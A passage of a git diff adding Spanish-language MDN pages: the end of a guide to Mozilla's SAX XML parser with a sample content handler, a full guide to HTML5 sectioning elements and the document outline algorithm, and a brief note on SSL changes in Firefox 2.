+<p>Los manejadores son objetos definidos por el usuario que implementan las interfaces de manejadores SAX y dependiendo de la clase de información que necesita obtener desde el analizador. Una vez comenzado el proceso de análisis, los manejadores asociados serán llamados por el analizador (callbacks) con el contenido de XML que está siendo analizado. Los siguientes manejadores están disponibles:
+</p>
+<table class="fullwidth-table">
+<tbody><tr> <th>Interfaz</th> <th>Propósito</th>
+</tr>
+<tr> <td><a href="https://dxr.mozilla.org/mozilla-central/source/parser/xml/public/nsISAXContentHandler.idl" rel="custom">nsISAXContentHandler</a></td> <td>Es notificada sobre el contenido lógico de un documento (p.e.: elementos, atributos, espacios en blanco e instrucciones de proceso).</td>
+</tr>
+<tr> <td><a href="https://dxr.mozilla.org/mozilla-central/source/parser/xml/public/nsISAXDTDHandler.idl" rel="custom">nsISAXDTDHandler</a></td> <td>Es notificada sobre eventos básicos relacionados con DTDs.</td>
+</tr>
+<tr> <td><a href="https://dxr.mozilla.org/mozilla-central/source/parser/xml/public/nsISAXErrorHandler.idl" rel="custom">nsISAXErrorHandler</a></td> <td>Es notificada sobre errores en el flujo de entrada.</td>
+</tr>
+<tr> <td><a href="https://dxr.mozilla.org/mozilla-central/source/parser/xml/public/nsISAXLexicalHandler.idl" rel="custom">nsISAXLexicalHandler</a></td> <td>Manejador ampliado de SAX2 para eventos léxicos (p.e.: comentarios y nodos de tipo CDATA, declaraciones DTD y entidades).</td>
+</tr>
+</tbody></table>
+<p>A continuación se muestra un ejemplo de una implementación de un manejador de contenidos más comúnmente usado:
+</p>
+<pre>function print(s) {
+  dump(s + "\n");
+}
+
+xmlReader.contentHandler = {
+  // nsISAXContentHandler
+  startDocument: function() {
+    print("startDocument");
+  },
+
+  endDocument: function() {
+    print("endDocument");
+  },
+
+  startElement: function(uri, localName, qName, /*nsISAXAttributes*/ attributes) {
+    var attrs = [];
+    for(var i=0; i&lt;attributes.length; i++) {
+      attrs.push(attributes.getQName(i) + "='" +
+                 attributes.getValue(i) + "'");
+    }
+
+    print("startElement: namespace='" + uri + "', localName='" +
+          localName + "', qName='" + qName + "', attributes={" +
+          attrs.join(",") + "}");
+  },
+
+  endElement: function(uri, localName, qName) {
+    print("endElement: namespace='" + uri + "', localName='" +
+          localName + "', qName='" + qName + "'");
+  },
+
+  characters: function(value) {
+    print("characters: " + value);
+  },
+
+  processingInstruction: function(target, data) {
+    print("processingInstruction: target='" + target + "', data='" +
+          data + "'");
+  },
+
+  ignorableWhitespace: function(whitespace) {
+    // don't care
+  },
+
+  startPrefixMapping: function(prefix, uri) {
+    // don't care
+  },
+
+  endPrefixMapping: function(prefix) {
+    // don't care
+  },
+
+  // nsISupports
+  QueryInterface: function(iid) {
+    if(!iid.equals(Components.interfaces.nsISupports) &amp;&amp;
+       !iid.equals(Components.interfaces.nsISAXContentHandler))
+      throw Components.results.NS_ERROR_NO_INTERFACE;
+    return this;
+  }
+};
+</pre>
+<h4 id="Iniciar_el_análisis"> Iniciar el análisis </h4>
+<p>El componente XML Reader puede analizar XMLs a partir de una cadena de texto (un <a href="es/NsIInputStream">nsIInputStream</a>) o asíncronamente a través de la interfaz <a href="es/NsIStreamListener">nsIStreamListener</a>. Abajo se muestra un ejemplo de análisis a partir de una cadena:
+</p>
+<pre class="eval">xmlReader.parseFromString("&lt;f:a xmlns:f='g' d='1'&gt;&lt;BBQ/&gt;&lt;/f:a&gt;", "text/xml");
+</pre>
+<p>Esta llamada desemboca en la siguiente salida (asumiendo que se ha usado el manejador de contenidos mostrado antes):
+</p>
+<pre>startDocument
+startElement: namespace='g', localName='a', qName='f:a', attributes={d='1'}
+startElement: namespace='', localName='BBQ', qName='BBQ', attributes={}
+endElement: namespace='', localName='BBQ', qName='BBQ'
+endElement: namespace='g', localName='a', qName='f:a'
+endDocument
+</pre>
diff --git a/files/es/sections_and_outlines_of_an_html5_document/index.html b/files/es/sections_and_outlines_of_an_html5_document/index.html
new file mode 100644
index 0000000000..145f89d9ae
--- /dev/null
+++ b/files/es/sections_and_outlines_of_an_html5_document/index.html
@@ -0,0 +1,411 @@
+---
+title: Secciones y esquema de un documento HTML5
+slug: Sections_and_Outlines_of_an_HTML5_document
+translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines
+---
+<p>La especificación HTML5 trae muchos nuevos elementos a los desarrolladores web, permitiéndoles describir la estructura de un documento web con semántica estandarizada. Este documento describe estos elementos y cómo usarlos para definir el esquema de cualquier documento.</p>
+
+<div class="note">
+<p>A lo largo de este documento se empleará la palabra <strong>esquema</strong> en el sentido de esqueleto estructural o tabla de contenido, similar a cómo el índice de un libro muestra la estructura jerárquica de su contenido. Asimismo, usaremos <strong>algoritmo de esquematizado</strong> al proceso de construir el esquema infiriéndolo del contenido.</p>
+</div>
+
+<h2 id="Estructura_de_un_documento_HTML_4">Estructura de un documento HTML 4</h2>
+
+<p>La estructura de un documento, por ejemplo la estructura semántica de lo que está entre<code> &lt;body&gt;</code> y <code>&lt;/body&gt;</code> es fundamental para presentar la página al usuario. HTML4 usa la idea de secciones y subsecciones de un documento para describir su estructura. Una sección está definida por un elemento divisor HTML ({{HTMLElement("div")}}) con elementos de cabecera HTML ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, o {{HTMLElement("h6")}}) en él, definiendo sus títulos. La relación de estos elementos divisor y de cabecera HTML desemboca en la estructura del documento y su esquema.</p>
+
+<p>Entonces el siguiente marcado:</p>
+
+<div style="overflow: hidden;">
+<pre class="brush:xml">&lt;div class="seccion" id="zorro" &gt;
+&lt;h1&gt;El zorro&lt;/h1&gt;
+&lt;p&gt;En esta sección discutiremos sobre los aspectos menos conocidos del zorro.
+... bla, bla, bla ...
+&lt;div class="subseccion" id="zorro-habitat" &gt;
+&lt;h2&gt;Hábitat&lt;/h2&gt;
+&lt;p&gt;El zorro necesita un nido en donde poner sus huevos, de ahí que necesite árboles.
+...bla, bla, bla...
+&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<p>genera el siguiente esquema:</p>
+
+<pre>1. El zorro
+   1.1 Hábitat
+</pre>
+
+<p>Los elementos {{HTMLElement("div")}} no son obligatorios para definir una nueva sección. La sola presencia de un elemento de cabecera HTML es suficiente para implicar una nueva sección. Entonces,</p>
+
+<pre class="brush:xml">&lt;h1&gt;El zorro&lt;/h1&gt;
+&lt;p&gt;En esta sección discutiremos sobre los aspectos menos conocidos del zorro.
+... bla, bla, bla ...
+&lt;h2&gt;Hábitat&lt;/h2&gt;
+&lt;p&gt;El zorro necesita un nido en donde poner sus huevos, de ahí que necesite árboles.
+...bla, bla, bla...
+&lt;h2&gt;Costrumbres&lt;/h2&gt;
+&lt;h1&gt;El oso&lt;/h1&gt;
+</pre>
+
+<p>genera el siguiente esquema:</p>
+
+<pre>1. El zorro
+   1.1 Hábitat
+   1.2 Costumbres
+2. El oso
+</pre>
+
+<h2 id="Problemas_resueltos_por_HTML5">Problemas resueltos por HTML5</h2>
+
+<p>La definición de la estructura de un documento en HTML 4 y su algoritmo de esquematizado es muy tosco y genera numerosos problemas:</p>
+
+<ol>
+ <li>El uso de {{HTMLElement("div")}} para definir secciones semánticas sin definir valores específicos para los atributos <strong>class</strong> hace imposible la automatización del algoritmo de esquematizado ("¿Es ese {{HTMLElement("div")}} parte del esquema de la página, definiendo una sección o subsección?" o "¿es un {{HTMLElement("div")}} sólo de presentación, sólo usado para estilo?"). En otras palabras, la especificación HTML4 es muy imprecisa de lo que es una sección y cómo ese ámbito está definido. La generación automatizada del esquema es importante, especialmente para <a class="external" href="https://es.wikipedia.org/wiki/Tecnolog%C3%ADas_de_apoyo" title="http://en.wikipedia.org/wiki/Assistive_technology">tecnologías de apoyo</a>, que son capaces de adaptar la forma en que presentan información a los usuarios de acuerdo a la estructura del documento. HTML5 quita la necesidad de elementos {{HTMLElement("div")}} del algoritmo de esquematizado introduciendo un nuevo elemento, {{HTMLElement("section")}}, el elemento de sección HTML.</li>
+ <li>Mezclar varios documentos es difícil: la inclusión de un sub-documento en un documento principal significa cambiar el nivel de los elementos de cabecera HTML Headings Element para que el esquema se mantenga. Esto se resuelve en HTML5 con los recientemente introducidos elementos de seccionado ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} y {{HTMLElement("aside")}}) son siempre subsecciones dentro de la sección que las contiene, sin importar qué secciones son creadas por cabeceras internas.</li>
+ <li>Debido a que cada elemento de cabecera HTML es parte del esquema, no es posible describir un subtítulo o título secundario (por ejemplo, <code>&lt;h1&gt;Mozart&lt;/h1&gt;&lt;h2&gt;El genio salzburgués&lt;/h2&gt;</code> crea el esquema <code>1. Mozart 1.1 El genio salzburgués</code>). HTML5 introduce el elemento {{HTMLElement("hgroup")}} que oculta todos los elementos de cabecera excepto el primero de más alto rango (por ejemplo, <code>&lt;hgroup&gt;&lt;h1&gt;Mozart&lt;/h1&gt;&lt;h2&gt;El genio salzburgués&lt;/h2&gt;&lt;/hgroup&gt;</code> crea el esquema <code>1. Mozart</code>).</li>
+ <li>En HTML4, cada sección es parte del esquema del documento. Pero los documentos no son lineales a veces. Un documento puede tener secciones especiales conteniendo información que no es parte del flujo principal, aunque esté relacionado a él, como un bloque de publicidad o una caja de explicación. HTML5 introduce el elemento {{HTMLElement("aside")}} permitiendo a dichas secciones no ser parte del esquema principal.</li>
+ <li>Otra vez, en HTML4, debido a que cada sección es parte del esquema del documento, no hay forma de tener una sección conteniendo información relacionada no al documento pero sí al sitio entero, como logos, menús, tablas de contenidos, o información de derechos de autor y notas legales. Para ese propósito, HTML5 introduce tres elementos de sección específicos: {{HTMLElement("nav")}} para colecciones de enlaces, como una tabla de contenidos, {{HTMLElement("footer")}} y {{HTMLElement("header")}} información relacionada con el sitio.</li>
+</ol>
+
+<p>De manera más general, HTML5 trae precisión a las características de seccionado y cabecera, permitiendo a los esquemas de documento ser predecibles y usados por el navegador para mejorar la experiencia del usuario.</p>
+
+<h2 id="El_algoritmo_de_esquematizado_de_HTML5">El algoritmo de esquematizado de HTML5</h2>
+
+<h3 id="Definiendo_secciones_en_HTML5">Definiendo secciones en HTML5</h3>
+
+<p>Todo el contenido incluido dentro del elemento {{HTMLElement("body")}} es parte de una sección. Las secciones en HTML5 pueden ser anidadas. Además de la sección principal, definida por el elemento {{HTMLElement("body")}}, los límites de la sección son definidos explícita o implícitamente. La secciones definidas explícitamente son el contenido definido en las etiquetas {{HTMLElement("body")}},  {{HTMLElement("section")}},  {{HTMLElement("article")}},  {{HTMLElement("aside")}}, {{HTMLElement("footer")}},  {{HTMLElement("header")}}, y {{HTMLElement("nav")}}.</p>
+
+<div class="note"><strong>Nota: </strong>Cada sección puede tener su propia jerarquía de cabeceras. Por lo tanto, incluso una sección anidada puede tener un elemento {{HTMLElement("h1")}}. Consulte también <a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document#Defining_Headings_in_HTML5" title="en-US/docs/Sections_and_Outlines_of_an_HTML5_document#Defining_Headings_in_HTML5">Definiendo cabeceras en HTML5</a>.</div>
+
+<p>Ejemplo:</p>
+
+<pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;El pato&lt;/h1&gt;
+  &lt;section&gt;
+    &lt;h1&gt;Introducción&lt;/h1&gt;
+    &lt;p&gt;En esta sección, ampliaremos nuestro concepto del pato.
+  &lt;/section&gt;
+  &lt;section&gt;
+    &lt;h1&gt;Hábitat&lt;/h1&gt;
+    &lt;p&gt;El pato, como fiero depredador, necesita un entorno con abundantes lobos que cazar.
+  &lt;/section&gt;
+  &lt;aside&gt;
+    &lt;p&gt;otros estudiosos del pato
+  &lt;/aside&gt;
+&lt;/section&gt;
+&lt;footer&gt;
+  &lt;p&gt;(c) 2010 The Example company
+&lt;/footer&gt;</pre>
+
+<p>El bloque de HTML define dos secciones de alto nivel:</p>
+
+<pre><span style="color: red;">&lt;section&gt;
+  &lt;h1&gt;El pato&lt;/h1&gt;
+  &lt;section&gt;
+    &lt;h1&gt;Introducción&lt;/h1&gt;
+    &lt;p&gt;En esta sección, ampliaremos nuestro concepto del pato.
+  &lt;/section&gt;
+  &lt;section&gt;
+    &lt;h1&gt;Hábitat&lt;/h1&gt;
+    &lt;p&gt;El pato, como fiero depredador, necesita un entorno con abundantes lobos que cazar.
+  &lt;/section&gt;
+   &lt;aside&gt;
+    &lt;p&gt;otros estudiosos del pato
+  &lt;/aside&gt;
+&lt;/section&gt;</span>
+
+<span style="color: green;">&lt;footer&gt;
+  &lt;p&gt;(c) 2010 The Example company
+&lt;/footer&gt;</span></pre>
+
+<p>La primera sección tiene tres subsecciones:</p>
+
+<pre>&lt;section&gt;
+  &lt;h1&gt;El pato&lt;/h1&gt;
+
+  <span style="color: red;">&lt;section&gt;
+    &lt;h1&gt;Introducción&lt;/h1&gt;
+    &lt;p&gt;En esta sección, ampliaremos nuestro concepto del pato.
+  &lt;/section&gt;</span>
+
+  <span style="color: green;">&lt;section&gt;
+    &lt;h1&gt;Hábitat&lt;/h1&gt;
+    &lt;p&gt;El pato, como fiero depredador, necesita un entorno con abundantes lobos que cazar.
+  &lt;/section&gt;</span>
+
+  <span style="color: blue;">&lt;aside&gt;
+    &lt;p&gt;Otros estudiosos del lobo
+  &lt;/aside&gt;</span>
+&lt;/section&gt;
+
+&lt;footer&gt;
+  &lt;p&gt;(c) 2010 The Example company
+&lt;/footer&gt;</pre>
+
+<p>Esto genera la siguiente estructura:</p>
+
+<pre>1. El pato
+   1.1 Introducción
+   1.2 Hábitat
+   1.3 Section (aside)
+</pre>
+
+<h3 id="Definiendo_cabeceras_en_HTML5">Definiendo cabeceras en HTML5</h3>
+
+<p>Mientras que los elementos de seccionado en HTML definen la estructura de un documento, un esquema también necesita cabeceras para ser útil. La regla básica es simple: el primer elemento de cabecera HTML (uno de los {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) define la cabecera de la sección actual.</p>
+
+<p>Los elementos de cabecera tienen un <em>rango</em> dado por el número del nombre del elemento, donde {{HTMLElement("h1")}} tiene el rango <em>más alto</em>, y {{HTMLElement("h6")}} tiene el rango <em>más bajo</em>. Los rangos relativos importan sólo en una sección; el esquema es determinado por las secciones, no por el rango de cabeceras de las secciones. Por ejemplo, este código:</p>
+
+<pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;La mosca&lt;/h1&gt;
+  &lt;p&gt;El esta sección hablaremos de la mosca, una criatura adorable.
+    ... bla, bla, bla ...
+  &lt;section&gt;
+    &lt;h2&gt;Hábitat&lt;/h2&gt;
+    &lt;p&gt;Únicamente se han divisado colonias de moscas en los montes de....
+        ...bla, bla, bla ...
+  &lt;/section&gt;
+&lt;/section&gt;
+&lt;section&gt;
+  &lt;h3&gt;El mosquito&lt;/h3&gt;
+  &lt;p&gt;A continuación, otra rareza a punto de extinguirse, el mosquito.
+     ...bla, bla, bla...
+&lt;/section&gt;</pre>
+
+<p>Genera el siguiente esquema:</p>
+
+<pre>1. La mosca
+   1.1 Hábitat
+2. El mosquito</pre>
+
+<p>Nótese que el rango del elemento de cabecera (en el ejemplo, {{HTMLElement("h1")}} para la primera sección de más alto nivel, {{HTMLElement("h2")}} para la subsección y {{HTMLElement("h3")}} para la segunda sección de alto nivel) no es importante. (Cualquier rango puede ser usado como la cabecera de una sección explícitamente definida, aunque esta práctica no es recomendada).</p>
+
+<h3 id="Seccionado_implícito">Seccionado implícito</h3>
+
+<p>Debido a que los elementos de seccionado HTML5 no son obligatorios para definir un esquema, para mantener la compatibilidad con la web existente dominada por HTML4, hay una forma de definir secciones sin ellas. Esto es llamado <em>seccionado implícito</em>.</p>
+
+<p>Los elementos de cabecera ({{HTMLElement("h1")}} a {{HTMLElement("h6")}}) definen un nuevo seccionado implícito cuando ellos no son el primer encabezado de sus secciones padre. La forma en que esta sección implícita es posicionada en el esquema es definida por su rango relativo con la cabecera anterior en su sección padre. Si es de un rango más bajo que la cabecera anterior, abre una sub-sección implícita de la sección. Este código:</p>
+
+<pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;El águila&lt;/h1&gt;
+  &lt;p&gt; ....
+
+  &lt;h3 class="subsec-implicita"&gt;Hábitat&lt;/h3&gt;
+  &lt;p&gt; ...
+&lt;/section&gt;</pre>
+
+<p>Genera el siguiente esquema:</p>
+
+<pre><strong>1. El águila</strong>
+   <strong>1.1 Hábitat</strong> <em>(impícitamente definido mediante &lt;h3&gt;)</em>
+</pre>
+
+<p>Si es del mismo rango que la cabecera anterior, cierra la sección previa  (¡que puede haber sido explícita!) y abre una nueva sección implícita del mismo nivel: </p>
+
+<pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;El águila&lt;/h1&gt;
+  &lt;p&gt;...
+  &lt;h1 class="secc-implicita"&gt;El buitre&lt;/h1&gt;
+  &lt;p&gt;...
+&lt;/section&gt;</pre>
+
+<p>genera el siguiente esquema: </p>
+
+<pre><strong>1. El águila</strong>
+<strong>2. El buitre</strong> <em>(implícitamente definido por &lt;h1&gt;, quien al mismo tiempo cierra el &lt;h1&gt; anterior)</em>
+</pre>
+
+<p>Si es de un rango más alto que el encabezamiento anterior, cierra la sección anterior y abre una nueva sección implícita al más alto nivel:</p>
+
+<pre class="brush:xml">&lt;body&gt;
+  &lt;h1&gt;Colores&lt;/h1&gt;
+  &lt;h2&gt;Rojo&lt;/h2&gt;
+  &lt;p&gt; ...
+  &lt;section&gt;
+    &lt;h3&gt;Amarillo&lt;/h3&gt;
+    &lt;p&gt; ...
+    &lt;h3&gt;Verde&lt;/h3&gt;
+      &lt;p&gt; ...
+    &lt;h2&gt;Sabores&lt;/h2&gt;
+      &lt;p&gt;...
+  &lt;/section&gt;
+&lt;/body&gt;</pre>
+
+<p>generando el siguiente esquema:</p>
+
+<pre><strong>1. Colores
+   1.1 Rojo</strong> <em>(implícitamente con <code>&lt;h2&gt;</code> )</em>
+   <strong>1.2 Amarillo</strong><em>(explícitamente con <code>&lt;section&gt; </code>)</em>
+   <strong>1.3 Verde</strong> <em>(impícitamente con <code>&lt;h3&gt;</code>, cerrando el <code>&lt;h3&gt;</code> previo)</em>
+<strong>2. Sabores</strong> <em>(implícitamente con &lt;h2&gt;, cerrando el &lt;section&gt; previo)</em>
+</pre>
+
+<p>Éste no es el esquema que uno podría observando las etiquetas de encabezamiento. Para hacer que tu marcado sea entendible para una persona que eche un vistazo rápido al código, es una buena práctica</p>
+
+<ul>
+ <li>Usar <strong>etiquetas explícitas</strong> para abrir y cerrar secciones.</li>
+ <li> Acomodar el rango de cabecera al nivel de anidamiento de la sección deseada. </li>
+</ul>
+
+<p>Sin embargo, esto no es requerido por la especificación HTML5. Si encuentra que los navegadores están generando el esquema de su documento en formas inesperadas, verifique si tiene secciones que están cerradas implícitamente por elementos de cabecera.</p>
+
+<p>Una <strong>excepción</strong> a la regla de que ese rango de cabecera debe corresponderse con el nivel de anidamiento de sección es para secciones que pueden ser <strong>reutilizadas</strong> en múltiples documentos. Por ejemplo, una sección puede ser almacenada en un sistema de gestión de contenidos y ensamblada en documentos en tiempo de ejecución. En este caso, una buena práctica es comenzar en {{HTMLElement("h1")}} para el nivel de cabecera más alto de la sección reusable. El nivel anidado de la sección reusable será determinado por la jerarquía de la sección del documento en el que aparece. Las etiquetas de secciones aún son útiles en este caso.</p>
+
+<h3 id="Sobreescribiendo_seccionamiento_implícito">Sobreescribiendo seccionamiento implícito</h3>
+
+<p>A veces una sección necesita tener varios encabezamientos. Unos pocos casos usuales son:</p>
+
+<ul>
+ <li>Una sección cuyo encabezado principal es acompañado de otro encabezado , cuyo propósito es adornar o aportar cierta información al encabezado principal, pero sin oscurecerlo a la hora de formar el esquema estructural:
+  <pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;La flauta mágica&lt;/h1&gt;
+  &lt;h2&gt;Ópera en dos actos del genio salzburgués&lt;/h2&gt;
+&lt;/section&gt;</pre>
+
+  <p>genera el siguiente esquema, que claramene <strong>no</strong> es el que se desea:</p>
+
+  <pre>1. La flauta mágica
+   1.1 Ópera en dos actos del genio salzburgués
+</pre>
+ </li>
+ <li>El encabezado secundario puede ser usado por una lista de etiquetas:
+  <pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;Secciones y esquema del documento&lt;/h1&gt;
+  &lt;h2&gt;HTML, HTML5, secciones, esquema&lt;/h2&gt;
+&lt;/section&gt;</pre>
+
+  <p>genera el siguiente esquema, que <strong>tampoco es</strong> el que se desea:</p>
+
+  <pre>1. Secciones y esquema del documento
+   1.1 HTML, HTML5, secciones, esquema</pre>
+ </li>
+</ul>
+
+<p>Debido al seccionado implícito, <strong>esto no es posible sin la ayuda del elemento de agrupamiento de cabeceras</strong> ({{HTMLElement("hgroup")}} introducido en HTML5). Esto oculta todas las cabeceras del grupo, excepto la primera, permitiendo una sobreescritura del seccionado implícito. Observa las diferencias:</p>
+
+<pre class="brush:xml">&lt;section&gt;
+  &lt;hgroup&gt;
+    &lt;h1&gt;La flauta mágica&lt;/h1&gt;
+    &lt;h2&gt;Ópera en dos actos del genio salzburgués&lt;/h2&gt;
+  &lt;/hgroup&gt;
+  ... algún contenido ...
+&lt;/section&gt;
+</pre>
+
+<p>genera el siguiente esquema, que es el que se desea:</p>
+
+<pre>1. La flauta mágica</pre>
+
+<h3 id="Secciones_desacopladas"><a name="sectioning_root">Secciones desacopladas</a></h3>
+
+<p>Piensa por un momento en una sección <strong><em>A</em></strong> que contiene una subsección <strong><em>B</em></strong>. A veces es conveniente que <em><strong>B</strong></em> mantenga su esquema interno ( subsecciones, encabezados, etc. ), pero que no "ensucie" el esquema de<em><strong> A</strong></em>, dando lugar a esquemas más claros.</p>
+
+<p>Existen elementos, cuyo propósito habitual es introducir contenido externo a la página: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} y {{HTMLElement("td")}}.<br>
+  Estos elementos no se "montan" sobre el esquema global, sin importar su contenido, lo que conlleva un desacoplo o aislamiento entre las partes.</p>
+
+<p>Además, el elemento de partida para formar el esquema del documento es  {{HTMLElement("body")}}, el cual por ser la raíz,  se encuentra ya desacoplada de forma natural, en el sentido de que no se puede ir más arriba en el contexto.</p>
+
+<p>Ejemplo:</p>
+
+<pre class="brush: html">&lt;section&gt;
+  &lt;h1&gt;Bach&lt;/h1&gt;
+  &lt;section&gt;
+    &lt;h2&gt;Introducción&lt;/h2&gt;
+    &lt;p&gt;...
+  &lt;/section&gt;
+  &lt;section&gt;
+    &lt;h2&gt;La Pasión según S. Mateo&lt;/h2&gt;
+    &lt;p&gt; Bla, bla, bla ...
+    &lt;blockquote&gt;
+       &lt;h1&gt;Friedich Nietzsche
+       &lt;p&gt;“Esa semana he ido a escuchar tres veces la Pasión según san Mateo del divino Bach, y en cada una de ellas con el mismo sentimiento de máxima admiración. Una persona que -como yo- ha olvidado completamente el cristianismo no puede evitar oírla como si se tratase de uno de los evangelios”
+    &lt;/blockquote&gt;
+  &lt;/section&gt;
+&lt;/section&gt;</pre>
+
+<p>Este ejemplo resulta en el siguiente esquema:</p>
+
+<pre>1. Bach
+   1.1 Introducción
+   1.2 La Pasión según s. Mateo</pre>
+
+<p>Este esquema no contiene el esquema interno del elemento {{HTMLElement("blockquote")}} que, debido a la propia naturaleza del elemento, se desacopla. Observa bien que el elemento  {{HTMLElement("blockquote")}} , a pesar de todo, contiene un esquema propio bien estructurado.</p>
+
+<h3 id="Secciones_fuera_del_esquema">Secciones fuera del esquema</h3>
+
+<p>HTML5 introduce cuatro nuevos elementos que permiten definir secciones que no pertenecen al esquema principal de un documento web:</p>
+
+<ol>
+ <li>El elemento sección lateral HTML ({{HTMLElement("aside")}}) define una sección que, aunque relacionada al elemento principal, no pertenece al flujo principal,  como una caja de explicación o un anuncio. Tiene su propio esquema, pero no pertenece al esquema principal.</li>
+ <li>El elemento sección de navegación ({{HTMLElement("nav")}}) define una sección que contiene enlaces de navegación. Pueden ser muchas en un documento, por ejemplo, uno con enlaces internos a la página, como una tabla de contenidos, y otro con enlaces navegacionales. Estos enlaces no son parte del flujo principal y esquema y pueden ser inicialmente no generadas por lectores de pantalla y tecnología de apoyo similar.</li>
+ <li>El elemento de sección de cabecera ({{HTMLElement("header")}}) define una cabecera de página, típicamente conteniendo el logo y nombre del sitio y posiblemente un menú horizontal. A pesar de su nombre, no está posicionado necesariamente al principio de la página.</li>
+ <li>El elemento HTML de pie de página ({{HTMLElement("footer")}}) define un pie de página, típicamente conteniendo el derecho de autor y notas legales y a veces algunos enlaces. A pesar de su nombre, no es necesario que esté posicionado al final de la página.</li>
+</ol>
+
+<h2 id="Direcciones_y_tiempo_de_publicación_en_elementos_de_seccionado">Direcciones y tiempo de publicación en elementos de seccionado</h2>
+
+<p>El autor de un documento a veces quiere publicar alguna información de contacto, como el nombre del autor y su dirección. HTML4 permite eso vía el elemento {{HTMLElement("address")}}, que ha sido extendido en HTML5.</p>
+
+<p>Un documento puede ser hecho de diferentes secciones de diferentes autores. Una sección de otro autor diferente al autor de la página principal es definido usando el elemento {{HTMLElement("article")}}. Consecuentemente, el elemento {{HTMLElement("address")}} está ahora enlazado al ancestro más cercano, {{HTMLElement("body")}} o {{HTMLElement("article")}}.</p>
+
+<p>De manera similar, el elemento HTML5 {{HTMLElement("time")}}, con su atributo booleano establecido {{htmlattrxref("pubdate", "time")}}, representa la fecha de publicación asociada a todo el documento, respectivamente al artículo, relacionado a su ancestro más cercano {{HTMLElement("body")}} o {{HTMLElement("article")}}.</p>
+
+<h2 id="Usando_elementos_HTML5_en_navegadores_no_HTML5">Usando elementos HTML5 en navegadores no HTML5</h2>
+
+<p>Los elementos de sección y cabecera deben funcionar en la mayoría de navegadores no HTML5. Aunque no estén soportados, no necesitan una interfaz DOM especial y sólo necesitan la aplicación de CSS específico como a los elementos no conocidos se les aplica estilos como <code>display:inline</code> por defecto:</p>
+
+<pre class="brush: css">section, article, aside, footer, header, nav, hgroup {
+  display:block;
+}
+</pre>
+
+<p>Obviamente el desarrollador web puede aplicar estilos sobre ellos de forma diferente, pero mantener en mente que en un navegador no HTML5 la aplicación de estilos por defecto es diferente para lo que es esperado para esos elementos. También se debe notar que el elemento {{HTMLElement("time")}} no ha sido incluido, debido a que la aplicación de estilos por defecto de él en un navegador no HTML5 es el mismo que el estilo en un navegador compatible con HTML5.<br>
+ <br>
+ Este método tiene sin embargo sus limitaciones, así como algunos navegadores no permiten la aplicación de estilos en elementos no soportados. Este es el caso de Internet Explorer (version 8 e inferior), que necesita un script específico para permitirlo:</p>
+
+<pre class="brush:xml">&lt;!--[if lt IE 9]&gt;
+  &lt;script&gt;
+    document.createElement("header" );
+    document.createElement("footer" );
+    document.createElement("section");
+    document.createElement("aside"  );
+    document.createElement("nav"    );
+    document.createElement("article");
+    document.createElement("hgroup" );
+    document.createElement("time"   );
+  &lt;/script&gt;
+&lt;![endif]--&gt;</pre>
+
+<p>Esta sección significa que, en el caso de Internet Explorer (8 e inferior), el scripting debe estar habilitado para mostrar seccionamiento en HTML5 y elementos de cabecera apropiadamente. Si no, estas no serán mostradas, lo que puede ser problemático dado que estos elementos probablemente definen la estructura de toda la página. Esto es el porqué de un elemento {{HTMLElement("noscript")}} explícito debe ser añadido para este caso.</p>
+
+<pre class="brush:xml">&lt;noscript&gt;
+   &lt;strong&gt;Warning !&lt;/strong&gt;
+   Because your browser does not support HTML5, some elements are simulated using JScript.
+   Unfortunately your browser has disabled scripting. Please enable it in order to display this page.
+&lt;/noscript&gt;</pre>
+
+<p>Esto nos lleva al siguiente código para permitir el soporte de las secciones y elementos de cabecera en navegadores no HTML5, incluso para Internet Explorer (8 e inferiores), con una apropiada compatibilidad hacia atrás donde este último navegador es configurado para no usar scripting:</p>
+
+<pre class="brush:xml">&lt;!--[if lt IE 9]&gt;
+  &lt;script&gt;
+    document.createElement("header" );
+    document.createElement("footer" );
+    document.createElement("section");
+    document.createElement("aside"  );
+    document.createElement("nav"    );
+    document.createElement("article");
+    document.createElement("hgroup" );
+    document.createElement("time"   );
+  &lt;/script&gt;
+  &lt;noscript&gt;
+     &lt;strong&gt;Warning !&lt;/strong&gt;
+     Because your browser does not support HTML5, some elements are simulated using JScript.
+     Unfortunately your browser has disabled scripting. Please enable it in order to display this page.
+  &lt;/noscript&gt;
+&lt;![endif]--&gt;</pre>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Los nuevos elementos semánticos introducidos en HTML5 suponen la posibilidad de describir la estructura y el esquema de un documento web de una manera estándar. Representan una gran ventaja para las personas que utilizan navegadores HTML5 y necesitan la estructura para ayudarles a utilizar la página, por ejemplo las personas que necesitan la ayuda de una tecnología de apoyo. Estos nuevos elementos semánticos son fáciles de usar y con muy poco esfuerzo pueden funcionar también en navegadores no HTML5. Por lo tanto deben ser usados sin restricciones.</p>
+
+<div>{{HTML5ArticleTOC()}}</div>
diff --git a/files/es/seguridad_en_firefox_2/index.html b/files/es/seguridad_en_firefox_2/index.html
new file mode 100644
index 0000000000..43b55fff7c
--- /dev/null
+++ b/files/es/seguridad_en_firefox_2/index.html
@@ -0,0 +1,13 @@
+---
+title: Seguridad en Firefox 2
+slug: Seguridad_en_Firefox_2
+tags:
+  - Seguridad
+  - Todas_las_Categorías
+translation_of: Mozilla/Firefox/Releases/2/Security_changes
+---
+<div>{{FirefoxSidebar}}</div><p><a href="es/Firefox_2">Firefox 2</a> tiene tanto SSLv2 como la débil "exportación" de juegos de claves desactivados por defecto, en favor de SSLv3. Esto proporciona mejoras en la seguridad.</p>
+
